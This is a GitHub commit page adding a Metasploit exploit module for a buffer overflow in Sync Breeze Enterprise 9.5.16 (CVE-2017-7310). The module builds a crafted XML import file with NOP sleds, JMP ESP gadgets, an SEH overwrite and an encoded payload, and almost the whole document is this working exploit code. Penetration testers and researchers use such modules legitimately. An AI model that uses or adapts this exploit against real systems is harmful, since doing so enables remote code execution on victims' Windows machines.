Skip to content

Commit aa9b5e4

Browse files
Sync Breeze Enterprise Import Command
1 parent ac72492 commit aa9b5e4

File tree

1 file changed

+77
-0
lines changed

1 file changed

+77
-0
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::FILEFORMAT
10+
include Msf::Exploit::Remote::Seh
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
15+
'Description' => %q{
16+
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
17+
by using the import command option to import a specially crafted xml file.
18+
},
19+
'License' => MSF_LICENSE,
20+
'Author' =>
21+
[
22+
'Daniel Teixeira',
23+
],
24+
'References' =>
25+
[
26+
[ 'CVE', '2017-7310' ],
27+
[ 'EDB', '41773' ]
28+
],
29+
'DefaultOptions' =>
30+
{
31+
'EXITFUNC' => 'seh',
32+
'DisablePayloadHandler' => 'true'
33+
},
34+
'Platform' => 'win',
35+
'Payload' =>
36+
{
37+
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
38+
'StackAdjustment' => -3500
39+
},
40+
'Targets' =>
41+
[
42+
['Windows Universal', {'Ret' => 0x10015FFE } ],
43+
],
44+
'Privileged' => false,
45+
'DisclosureDate' => 'Mar 29 2017',
46+
'DefaultTarget' => 0))
47+
48+
register_options(
49+
[
50+
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
51+
])
52+
53+
end
54+
55+
def exploit
56+
jmpesp= "\x7A\xB7\x1B\x65" #JMP ESP QtGui4.dll
57+
esp = "\x8D\x44\x24\x4C" #LEA EAX, [ESP+76]
58+
jmp = "\xFF\xE0" #JMP ESP
59+
60+
buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
61+
buffer << "\x90"*1536
62+
buffer << jmpesp
63+
buffer << "\x90"*18
64+
buffer << esp
65+
buffer << jmp
66+
buffer << "\x90"*68
67+
buffer << generate_seh_record(target.ret)
68+
buffer << "\x90"*10
69+
buffer << payload.encoded
70+
buffer << "\x90"*5000
71+
buffer << "\n</classify>"
72+
73+
74+
print_status("Creating '#{datastore['FILENAME']}' file ...")
75+
file_create(buffer)
76+
end
77+
end

0 commit comments

Comments
 (0)